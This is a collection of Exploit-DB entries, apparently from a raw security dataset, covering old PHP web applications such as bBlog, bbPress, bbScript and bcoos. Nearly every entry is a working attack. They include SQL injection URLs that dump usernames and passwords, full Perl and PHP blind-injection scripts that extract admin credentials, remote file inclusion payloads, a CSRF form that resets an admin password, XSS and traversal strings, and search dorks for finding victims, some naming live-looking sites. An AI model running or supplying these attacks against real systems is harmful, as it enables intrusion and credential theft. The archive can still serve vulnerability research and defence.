deardaniel/secdata-raw huggingface dataset:
Exploit-DB #3183
Description: BBClone 0.31 - 'selectlang.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-01-23
Author: 3l3ctric-Cracker

Exploit:
------------------------------------------------------------------------------------------------------------------------
Script:bbclone
Affected Version:0.31
Downlaoad:http://sindominio.net/ayuda/bbclone-0.31-esp.zip
------------------------------------------------------------------------------------------------------------------------
Author:Dr Max Virus
------------------------------------------------------------------------------------------------------------------------
Bug in (lib/selectlang.php)
Vul Code;
require($BBC_LANGUAGE_PATH . $BBC_LANGUAGE . ".php");
------------------------------------------------------------------------------------------------------------------------
POC:
http://[target]/[path]/lib/selectlang.php?BBC_LANGUAGE_PATH=[Bad Code]
------------------------------------------------------------------------------------------------------------------------
Thx:str0ke-koray-Timq-r0ut3r-nuffsaid-All My Friends
Special Greetz:AsianEagle-TheMaster-Kacper-Hotturk
------------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-23]
Exploit-DB #25545
Description: BBlog 0.7.4 - 'PostID' SQL Injection
Type: webapps
Platform: php
Date: 2004-04-26
Author: jericho+bblog@attrition.org

Exploit:
source: https://www.securityfocus.com/bid/13398/info

bBlog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/[blogpath]/?postid=1%20or%201=1
Exploit-DB #6233
Description: BBlog 0.7.6 - 'mod' SQL Injection
Type: webapps
Platform: php
Date: 2008-08-12
Author: IP-Sh0k

Exploit:
#######################################################
########## BBlog 0.7.6 SQL Injection Vuln #############
#######################################################
#
# Vulnpath: /bblog_plugins/builtin.help.php
# 
# Vuln: if($_GET['mod']) $pluginrow = $bBlog->get_row("select * from ".T_PLUGINS." where name='".$_GET['mod']."' and type='modifier'");
#
#
#
# PoC: ?pid=1&mod='+union+select+1,2,3,4,5,6,7,8,9,10,11,12+from+bb_authors--
#
# help: On the number you can see you have to set:
#       concat_ws(0x3a,id,nickname,password,email,icq) 
#
#
# Found by: IP-Sh0k
#######################################################

# milw0rm.com [2008-08-12]
Exploit-DB #12718
Description: BBMedia Design's - 'news_more.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-05-24
Author: gendenk

Exploit:
#################################################################################################

[+] BBMedia Design's (news_more.php) SQL Injection Vulnerability

[+] Discovered By gendenk

[+] Published: 2010-05-23 Pukul 19.00 WIB

[+] jatimcrew.org/

##################################################################################################

# Script Homepage:
# http://www.bbmedia.org

[+]Dork: intext:"Design by BB Media.Org"

[+] SQL Injection


     demo : http://www.ms-hydraulic.com/news_more.php?id=15


       http://[target]/[path]/news_more.php?id=[SQL]

       http://[target]/[path]/news_more.php?id=-9999+union+all+select+1,2,concat(id,0x3a,user,0x3a,pass),4,5,6,7,8+from+users/*

##################################################################################################

Life is challanging, the fear of challanges, causing you for backwardness..Facing for the bright future..

#Thanks to : Cyberlog, Cr4wl3r, Byz9991 and MAMA Sri Rahayu [ istri cyberlog ] Semoga Cepet Sembuh..

Buat Yayank Ucrit I Love U Full :P


All Member Jatimcrew, Manadocoding, Sekuritionline.. 
##################################################################################################
Exploit-DB #12711
Description: BBMedia Design's - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-23
Author: XroGuE

Exploit:
=========================================================
BBMedia Design's SQL Injection Vulnerability
=========================================================
##########################################
# Name: BBMedia Design's SQL Injection Vulnerability
# Date: 2010-05-23
# vendor: http://www.bbmedia.org
# Author: Ashiyane Digital Security Team
# Discovered By: XroGuE
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################

[+] Dork: intext:"Design by BB Media.Org"

[+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi]

[+] Demo: http://server/prod_motors.php?id=-999+union+all+select+1,2,3,4,5,group_concat(id,0x3a,user,0x3a,pass),7,8,9,10,11,12+from+users

##########################################
Exploit-DB #4550
Description: BBPortalS 2.0 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2007-10-21
Author: Max007

Exploit:
#BBPortalS BBsProcesS Remote Blind SQL Injection Exploit 
#Bug Found And Write By Max007
#Exploit Tested On V.1.5.10 And V.1.6.2 And 1.5.11
#info:For The Version BBPortalS 2.0 name of field is user and password but you have to find name of table
#!/usr/bin/perl
use LWP::UserAgent;
$err=1;
$www = new LWP::UserAgent;
sub utilisation()
{
print "\n\tVulnerability Found By Max007 ;)";
print "\n\tBlind SQL Injection In Script BBPortalS / BBsProcesS\n\tDork:\"inurl : tnews.php?op\"";
print "\n\tSyntax Exmple: ";
print "Exploit.pl http://www.site-vuln.com\n";
exit(0);
}

sub err()
{
print "\n this script is not vulnerable !\n";
exit();
}

sub table()
{
print "\n\n \tThis Site Is Vulerable\n \tNumber of Fields : $err\n\tBut You have To Find Name Of Table !\n\tI Don't Have Time To Do This For you hhh ;)\n";
exit();
}

if(!$ARGV[0]){utilisation();}
$host=$ARGV[0];


sub max007()
{
$champ="1," x $err;
chop($champ);
$inject="tnews.php?op=tnews&id=-9/**/group/**/by/**/$err/*";
$sql = "$host/".$inject;
print "\n                 research number of fields .... \n";
$res = $www -> get($sql);
if(!($res -> content =~ /Warning/)){
print "               The Current number of fields is : $err\n";
$err++;
max007();
}
else{
if($err==1){ err();}
}
}
if($err==1){ max007();}
$err-=1;
#system("cls");
print "\nThe number of fields is: $err";

$nbr_champ=$err;
$champ="concat(char(117,115,101,114,110,97,109,101,58),login,char(32,32,61,61,61,61,61,32,32,32,112,97,115,115,119,111,114,100,58),pass,char(42,42,42,42,42,42,42,42,42,42,61,61,61,61,61,61,61,61,61,61))," x $nbr_champ;
chop($champ);

$inject="tnews.php?op=tnews&id=-9/**/union/**/select/**/".$champ."/**/from/**/users/**/where/**/pid=1/*";
$sql = "$host/".$inject;
$res = $www -> get($sql) or err();
$i=0;$j=0;
$i=index($res->content,'username:');
$j=index($res->content,'**********==========');
$ch=substr($res->content,$i,$j-$i);

if($res->content =~ /username/)
{
print "\n\n              Attack successful\n\n";
print "Admin User Name And Password Has Been Found ;)\n\n\t";
print "$ch \n\n";
}

else {table();}

#Je Suis Triste Vraiment Triste Et Je ne Sais Pas Pourquoi,PourTant je ne dois pas l'Ãªtre,

# milw0rm.com [2007-10-21]
Exploit-DB #30175
Description: bbPress 0.8.1 - 'BB-login.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-11
Author: Ory Segal

Exploit:
source: https://www.securityfocus.com/bid/24422/info

BBpress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

GET /bb-login.php?re="><script>alert(1);</script> HTTP/1.0 Host: www.some.site Referer: http://www.some.site/
Exploit-DB #14214
Description: bbPress 1.0.2 - Cross-Site Request Forgery (Change Admin Password)
Type: webapps
Platform: php
Date: 2010-07-05
Author: saudi0hacker

Exploit:
: # Software      : bbPress v 1.0.2                                          :
: # site          : www.bbpress.org                                          :
: # date          : 29/6/2010                                                : 
: # Author        : saudi0hacker                                             :
: # Date          : May 25, 2010                                             :
: # Type : CSRF                                                              :
: # Greetz to     : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
:----------------------------------------------------------------------------:

<html>
 <body onload="document.forms['Login'].submit();">
<form method="post" name = "Login" action="http://localhost/bb/profile.php?id=1&tab=edit">

<select type="hidden" name="display_name" id="display_name">
<option type="hidden" id="display_displayname" value="admin">admin</option>
<input type="hidden" name="user_email" id="user_email"  value="admin@sss.com" />
<input  id="_wpnonce" name="_wpnonce" value="98dfb69b68" /><input type="hidden" name="_wp_http_referer" value="/bb/profile.php?id=1&tab=edit" />
<select type="hidden" id="admininfo_role" name="role">
<option value="keymaster" selected="selected">Key Master</option>
<input name="pass1" type="hidden" value= "admin1234" id="pass1" autocomplete="off" />
<input name="pass2" type="hidden" value= "admin1234" id="pass2" autocomplete="off" />
<input type="submit" name="Submit" value="save" />
Exploit-DB #4195
Description: BBS E-Market - 'postscript.php?p_mode' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-07-18
Author: mozi

Exploit:
dork:inurl:bemarket
xpl:/bemarket/postscript/postscript.php?p_mode=
 
original post:http://darkcode.ath.cx/f0rum/ind3x.php?action=vthread&forum=12&topic=80
 
Greetz:d3hydr8,whoami
 
mozi2weed@yahoo.com
magenkyo.sharingan@yahoo.com

# milw0rm.com [2007-07-18]
Exploit-DB #24585
Description: BBS E-Market Professional bf_130 (1.3.0) - Remote File Inclusion
Type: webapps
Platform: php
Date: 2004-09-09
Author: Ahmad Muammar

Exploit:
source: https://www.securityfocus.com/bid/11146/info

BBS E-Market Professional is reported to be affected by a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system.

http://www.example.com/becommunity/community/index.php?pageurl=[injection URL]
http://www.example.com/becommunity/community/index.php?from_market=Y&pageurl=[injection URL]
Exploit-DB #24601
Description: BBS E-Market Professional bf_130 1.3.0 - Multiple File Disclosure Vulnerabilities
Type: webapps
Platform: php
Date: 2004-09-15
Author: Jeong Jin-Seok

Exploit:
source: https://www.securityfocus.com/bid/11191/info

BBS E-Market Professional is reported prone to multiple file disclosure vulnerabilities. These issues exist due to insufficient sanitization of user-supplied data.

A remote attacker can disclose arbitrary Web-readable files by supplying directory traversal sequences such as '../' to the server. This results in improper access to potentially sensitive files located outside of the document root of the web server. 

BBS E-Market patch level bf_130 (v1.3.0) and prior are affected by these issues.

http://www.example.com/bemarket/shop/index.php?pageurl=viewpage&
filename=../../../../../../../../[etc]/[passwd]
http://www.example.com/becommunity/board/f_down.php?dn_path=
/../../../../../../../../../[etc]/[passwd]
Exploit-DB #10880
Description: bbScript 1.1.2.1 - 'id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-12-31
Author: cOndemned

Exploit:
<?php

/*

bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
Bug found && exploited by cOndemned
Greetz: All friends, TWT, SecurityReason Team, Scruell ;*

Download: http://www.bbscript.com/download.php 
Note: You have to be logged into in order to download this script


/[bbScript_path]/index.php?action=showtopic&id=1+and+1=1--	TRUE	(normal)
/[bbScript_path]/index.php?action=showtopic&id=1+and+1=2--	FALSE	(error)


example:

condemned@agonia:~$ php bbscript-poc.php http://localhost/audits/bbScript admin

[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit
[~] Bug found && exploited by cOndemned
[~] Target username set to admin
[~] Password Hash : 596a96cc7bf9108cd896f33c44aedc8a
[~] Done

*/

	
function concat($string)
{
	$length = strlen($string);
	$output = '';

	for($i = 0; $i < $length; $i++) $output .= sprintf("CHAR(%d),", ord($string[$i]));

	return 'CONCAT(' . substr($output, 0, -1) . ')';
}

echo "\n[~] bbScript <= 1.1.2.1 (id) Blind SQL Injection Exploit";
echo "\n[~] Bug found && exploited by cOndemned\n";

if($argc != 3)
{
	printf("[!] Usage: php %s <target> <login>\n\n", $argv[0]);
	exit;
}

list(, $target, $login) = $argv;

echo "[~] Target username set to $login\n";
	
$login = concat($login);
$chars = array_merge((array)$chars, range(48, 57), range(97, 102));
$pos   = 1;

echo "[~] Password Hash : ";

while($pos != 33)
{
	for($i = 0; $i <= 16; $i++)
	{
		$query  = "/index.php?action=showtopic&id=1+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username=$login),$pos,1)=CHAR({$chars[$i]})--";

		if(!preg_match('#Error#', file_get_contents($target . $query), $resp))
		{
			printf("%s", chr($chars[$i]));
			$pos++;
			break;
		}
	}
}

echo "\n[~] Done\n\n";

?>
Exploit-DB #17495
Description: BbZL.php - Remote File Inclusion
Type: webapps
Platform: php
Date: 2011-07-06
Author: Number 7

Exploit:
 _________________________________________________________________________________________
|                           _              _                                              |
| ||\\      || ||       || | \\          // |  ____      ________           __________    |
| || \\     || ||       || | |\\        //| | |     \   |  ______|         |_______/ /    |
| ||  \\    || ||       || | | \\      // | | |  _   \  | |                       / /     |
| ||   \\   || ||       || | |  \\    //  | | | |_)  |  | |______    /\`'__\     / /      |
| ||    \\  || ||       || | |   \\  //   | | |  _  <   |  ______|   \ \ \/     / /       |
| ||     \\ || ||_______|| | |    \\//    | | | |_)  |  | |______     \ \_\    / /        |
| ||      \\|| |_________| |_|     \/     |_| |_____/   |________|     \/_/   /_/         |
|_________________________________________________________________________________________|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Exploit Title: [BbZL.PhP File Inclusion Exploit]
# Google Dork: [intitle:"BbZL.PhP 0.92 CSS²"]
# Date: [06/07/2011]
# Author: [Number 7]
# Software Link: [http://www.easy-script.com/scripts-dl/bbzl_PhP_092.zip]
# Version: [0.92 CSS²]
# Tested on: [linux/Windows NT]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exp: http://www.site.tn/path/index.php?type=3&lien_2=http://site.com.tn/



~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
GreetZ:S-man // Wx // Alen // M@TaDoR // LastBreath1 // all Tunisian Hackers
Exploit-DB #6617
Description: BbZL.php 0.92 - 'lien_2' Local Directory Traversal
Type: webapps
Platform: php
Date: 2008-09-28
Author: JIKO

Exploit:
-------------------------------------------------------------------------
  --          JIKI Team [ JIKO + KIl1er ]        ---
-------------------------------------------------------------------------
# Author  : jiko
# email  : jalikom@hotmail.com
# Home   : www.no-back.org
# Script  : BbZL.PhP
# Bug   : Local Directory Traversal
# Download  : http://sylvain.pasquet1.free.fr/index.php?type=1&base=vjek&nom=TÃ©lÃ©chargements
=========================JIkI Team===================
# Exploit  :
 http://localhost/cc/bbzl092/index.php?type=3&lien_2=../
#ex   :
http://sylvain.pasquet1.free.fr/index.php?type=3&lien_2=config
http://barbeuzweb.free.fr/index.php?type=3&lien_2=config
=========================JIKI Team===================
 greetz : all my friend and H-T Team and Stack-Terrorist and Gold_M and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com 
-------------------------------------------------------------------------
  --            JIKI Team [ JIKO + KIl1er ]    --
-------------------------------------------------------------------------

# milw0rm.com [2008-09-28]
Exploit-DB #6621
Description: BbZL.php 0.92 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-09-28
Author: Stack

Exploit:
###############################################################################################
[+] BbZL.PhP 0.92 Insecure Cookie Handling Vulnerability
[+] Discovered By Stack            
[+] Greetz : All my freind           
################################################################################################
Exploit:
javascript:document.cookie = "phorum_admin_session=1; path=/";

# milw0rm.com [2008-09-28]
Exploit-DB #30836
Description: bcoos 1.0.10 - 'ratefile.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-30
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26664/info

The 'bcoos' program is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects bcoos 1.0.10; other versions may also be affected. 

http://www.example.com/modules/adresses/ratefile.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
Exploit-DB #30824
Description: bcoos 1.0.10 - 'ratelink.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26629/info
 
The 'bcoos' program is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.
 
These issues affect the application's arcade, myalbum, mylinks, and ecal modules.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
These issues affect bcoos 1.0.10; other versions may also be affected.
 
http://www.example.com/modules/mylinks/ratelink.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
Exploit-DB #30823
Description: bcoos 1.0.10 - 'ratephoto.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-11-28
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/26629/info

The 'bcoos' program is prone to multiple input-validation vulnerabilities, including SQL-injection issues and cross-site scripting issues, because it fails to sufficiently sanitize user-supplied data.

These issues affect the application's arcade, myalbum, mylinks, and ecal modules.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

These issues affect bcoos 1.0.10; other versions may also be affected. 

http://www.example.com/modules/myalbum/ratephoto.php?lid=-1%20UNION%20SELECT%20pass%20FROM%20bcoos_users%20LIMIT%201
Exploit-DB #30607
Description: bcoos 1.0.10 Arcade Module - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-09-24
Author: nights shadow

Exploit:
source: https://www.securityfocus.com/bid/25790/info

The 'bcoos' Arcade module is prone to an SQL-injection vulnerability because it fails to adequately sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects bcoos Arcade module 1.0.10; other versions may also be affected. 

http://www.example.com/modules/arcade/index.php?act=play_game&gid=[SQL]
Exploit-DB #32536
Description: bcoos 1.0.13 - 'click.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-27
Author: DeltahackingTEAM

Exploit:
source: https://www.securityfocus.com/bid/31941/info

The 'bcoos' program is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects bcoos 1.0.13; other versions may also be affected.

http://www.example.com/[p4th]/modules/banners/click.php?bid=-1' union+select+pass+from+bcoos_users+limit 1,0/*
Exploit-DB #32532
Description: bcoos 1.0.13 - 'common.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-10-27
Author: Cru3l.b0y

Exploit:
source: https://www.securityfocus.com/bid/31929/info

The 'bcoos' program is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying computer; other attacks are also possible.

This issue affects 'bcoos' 1.0.13; other versions may also be affected.

http://www.example.com/include/common.php?XOOPS_ROOT_PATH=shell
Exploit-DB #31806
Description: bcoos 1.0.13 - 'file' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-05-19
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/29275/info

The 'bcoos' program is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to include local scripts in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks.

This issue affects bcoos 1.0.13; other versions may also be affected.

http://www.example.com/bcoos/class/debug/highlight.php?file=../../../../../boot.ini
Exploit-DB #2399
Description: BCWB 0.99 - 'ROOT_PATH' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-19
Author: ajann

Exploit:
*******************************************************************************
# Title  :  Bcwb 0.99(root_path)Remote File Include Vulnerability

# Author :   ajann

# Greetz :   shadow and Suskun for host : )

# Exploit;

*******************************************************************************
[File]
startup.inc.php
[/File]

[Code,1]
startup.inc.php Error:


..
....
// Debug services
include($root_path.'include/startup/debug.inc.php');
include($root_path.'include/startup/common_functions.inc.php');
include($root_path.'include/lib/data.lib.php');
....
..

Key [:] root_path=http://target.com/command.php?

\Example:

http://target.com/include/startup.inc.php?root_path=http://target.com/command.php?

# ajann,Turkey
# ...
# Im not Hacker!

# milw0rm.com [2006-09-19]